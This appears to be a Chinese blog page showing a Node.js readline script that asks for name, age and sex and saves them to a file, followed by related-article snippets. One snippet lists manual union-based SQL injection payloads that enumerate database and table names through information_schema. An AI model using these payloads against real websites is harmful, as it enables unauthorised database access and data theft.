nodejs中与终端控制台交互

news/2024/9/23 15:20:49/

通过nodejs里提供的readline,做到与终端控制台交互

const fs = require("fs");
// 与终端控制台交互
const readline = require("readline");// 终端的输入输出
const r1 = readline.createInterface({// 控制台输出output: process.stdout,// 控制台输入input: process.stdin,
});// promise 封装 question 问题函数
function Question(question) {return new Promise((reslove, reject) => {r1.question(question, (answer) => {reslove(answer);});});
}// async await 同步问题提问
async function createPakeage() {const name = await Question("你的名字");const age = await Question("你的年龄");const sex = await Question("你的性别");let content = {name,age,sex,};// 写入到answer.txt 文本中,写的内容必须是字符串fs.writeFileSync("answer.txt", JSON.stringify(content), "utf-8");// 退出程序r1.close();
}createPakeage();r1.on("close", () => {// 退出程序process.exit(0);
});

http://www.ppmy.cn/news/1458435.html

相关文章

手写Spring Ioc 循环依赖底层源码剖析

手写Spring Ioc 循环依赖底层源码剖析 前言 Spring Ioc 是一个非常重要的框架,它的核心是依赖注入(DI)和控制反转(IOC)。在使用 Spring Ioc 的过程中,我们经常会遇到循环依赖的问题。本文将介绍手写 Spri…

sql注入手注语句

?id100 union select 1,database(),3-- asd ​ ?id100 union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 0,1-- asd ?id100 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemada…

第1个数据库:编号,文本,时间,

写一个数据库 编号 文本 时间1 第一个文本 有100万条数据 -- 创建一个名为texts的表格来存储数据 CREATE TABLE texts ( id INTEGER PRIMARY KEY, text TEXT, time TIMESTAMP DEFAULT CURRENT_TIMESTAMP);-- 插入数据INSERT INTO texts (text) VALUES (第一个文…

springboot项目中引入Xxl-Job并部署和使用

目录 模块划分 配置调度中心 配置执行器 添加执行器 写一个简单的定时任务 XxlJobHelper xxl-job是分布式任务调度平台,部署为独立的调度服务平台 github地址:xuxueli/xxl-job: A distributed task scheduling framework.(分布式任务调度…

走进SVG:不懂就OUT了!

在当今的数字世界里,图形设计和网页设计是我们生活的重要组成部分。无论是滚动你的社交媒体页面,还是浏览你最喜欢的网站,你都会接触到各种图形和图像。其中,有一种特殊的文件格式被广泛使用,它可以给你带来前所未有的…

使用凌鲨建立软件研发技能学习小组

凌鲨(OpenLinkSaas)的团队功能除了提供论坛功能,还能记录团队成员的成长记录。 使用方法 打开团队功能 团队功能在默认情况下是关闭的,你可以在登录后打开团队功能开关。 创建学习团队 日报/周报/个人目标一般是企业团队需要,建议关闭。 …

# 从浅入深 学习 SpringCloud 微服务架构(八)Sentinel(2)

从浅入深 学习 SpringCloud 微服务架构(八)Sentinel(2) 一、sentinel:通用资源保护 1、Rest 实现熔断 Spring Cloud Alibaba Sentinel 支持对 RestTemplate 的服务调用使用 Sentinel 进行保护, 在构造 RestTemplate…

AI换脸原理(4)——人脸对齐(关键点检测)参考文献2DFAN:代码解析

注意,本文属于人脸关键点检测步骤的论文,虽然也在人脸对齐的范畴下。 1、介绍 在本文中,重点介绍了以下几项创新性的成果,旨在为人脸关键点检测领域带来新的突破。 首先,成功构建了一个卓越的2D人脸关键点检测基线模型。这一模型不仅集成了目前最优的关键点检测网络结构,…